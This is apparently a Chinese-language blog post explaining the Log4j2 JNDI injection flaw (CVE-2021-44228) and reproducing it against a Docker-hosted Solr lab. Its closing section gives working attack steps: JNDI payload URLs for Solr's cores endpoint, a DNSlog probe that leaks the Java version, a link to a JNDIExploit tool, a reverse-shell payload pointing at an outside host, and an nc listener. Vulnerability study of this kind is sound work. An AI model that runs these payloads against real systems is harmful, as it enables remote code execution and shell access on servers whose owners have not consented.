1,041
社区成员
发帖
与我相关
我的任务
分享这是我参加朝闻道知识分享⼤赛的第四篇⽂章。
目录
log4j2是Java平台上一种流行的日志管理框架,也是log4j的升级版本。它提供了高度灵活和可配置的日志记录功能,可以用于在应用程序中生成、管理和输出日志信息。
Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Log4j2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响 Apache Struts、Apache Solr、Apache Druid、Apache Filnk等众多组件,漏洞影响面大,危害性高。
2.0 <= Apache log4j2 <= 2.14.1
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,这个模块在进行日志输出的时候可以通过对应的协议去访问服务器资源,但是对请求的数据内容又没有进行严格过滤,最终导致Log4j2去请求有恶意代码的服务器资源,从而造成远程代码执行导致命令执行。
一款通用的日志记录工具,可以通过简单表达式记录内容。
这里的例子使用的是sys解析器(sys:user.dir)
logger.info("system propety: ${sys:user.dir}");
Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。
${date}:获取当前日期和时间,支持自定义格式。
${pid}:获取当前进程的 ID。
${logLevel}:获取当前日志记录的级别。
JNDI(Java Naming and Directory Interface)是Java提供的一种标准的API,用于访问命名和目录服务,例如DNS、LDAP等。JNDI提供了一种统一的方式来查找和访问各种命名服务,使得Java应用程序可以方便地与这些服务进行交互。
在JNDI中,解析器(Resolver)是一个关键的组件。解析器用于将给定的名称解析为其对应的目标对象。JNDI提供了多种类型的解析器,根据不同的命名服务类型选择不同的解析器进行使用。
常见的JNDI解析器包括:
用于解析LDAP(轻量级目录访问协议)服务中的名称,将名称映射到目标对象,例如用户、组织等。
用于解析DNS(域名系统)服务中的名称,将主机名解析为其对应的IP地址。
用于解析RMI(远程方法调用)服务中的名称,将名称映射到远程对象。
用于解析JDBC(Java数据库连接)服务中的数据源名称,将数据源名称解析为其对应的数据库连接。
用于解析JMS(Java消息服务)服务中的队列名称或主题名称,将名称解析为其对应的消息队列或主题。
攻击一般使用ldap、rmi进行注入,大致过程一般如下:
1. 发送请求语句
${jndi://rmi:服务器地址/Exploit}
${jndi:ldap:192.168.96.1:1099/exp}
2. 解析语句内容后对服务器资源发起请求。
3. 请求到资源后,下载class恶意文件并且执行代码,最终造成命令执行。
cd /log4j/CVE-2021-44228
ocker-compose up -d

使用ldap解析器,配合doslog回显平台,查看测试情况。
http://x.x.x.x:8983/solr/admin/cores?action=${jndi:ldap://baec1688.dns.whitehat.asia.}


可以显而易见看到存在漏洞,并且有回显数据。
http://x.x.x.x:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.baec1688.dns.whitehat.asia.}

工具地址:https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4
http://目标机IP:8983/solr/admin/cores?action=${jndi:ldap://x.x.x.x:1389/Basic/ReverseShell/x.x.x.x/6666}
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x
nc -lvvp 6666
